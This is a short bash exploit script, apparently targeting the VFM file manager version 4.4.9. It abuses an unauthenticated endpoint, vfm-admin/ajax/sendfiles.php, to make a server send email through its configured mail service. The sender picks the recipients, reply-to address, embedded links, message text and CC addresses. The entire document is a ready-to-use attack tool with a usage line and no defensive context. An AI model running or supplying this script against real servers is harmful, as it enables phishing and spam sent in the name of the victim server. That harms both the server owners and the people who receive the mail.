#!/usr/bin/env bash

##########################################################
############## UNAUTHENTICATED EMAIL HIJACK ##############
##########################################################

################# TESTED ON VERSION 4.4.9 ################

# This exploit lets the attacker send emails on behalf of
# the server configured email service to anyone. The
# attack needs the server to have configured smpt_server.

# - Parameter $1 is Url to the root of where the installation
#   of vfm is (a.k.a. the root of the application)
# - Parameter $2 is reply to
# - Parameter $3 is target destination
# - Parameter $4 is a link you can embed
# - Parameter $5 is a message to embed
# - Parameter $6 is another link to embed
# - Parameter $7 is send copies to

if [[ -z "$1" ]] || [[ -z "$2" ]] || [[ -z "$3" ]] || [[ -z "$4" ]] || [[ -z "$5" ]] || [[ -z "$6" ]] || [[ -z "$7" ]]; then
  echo "[ USAGE ] :: ./unauth-email-hijack.sh <url toroot of vfm installation>/ <reply to> <target address> <link1> <message> <link2> <cc address>"
  exit 1
fi

curl -X POST \
  -H "X-Requested-With: XmlHttpRequest" \
  -d "mitt=$2" \
  -d "dest=$3" \
  -d "sharelink=$4" \
  -d "attach= " \
  -d "message=$5" \
  -d "passlink=$6" \
  -d "send_cc=$7" \
  "$1/vfm-admin/ajax/sendfiles.php"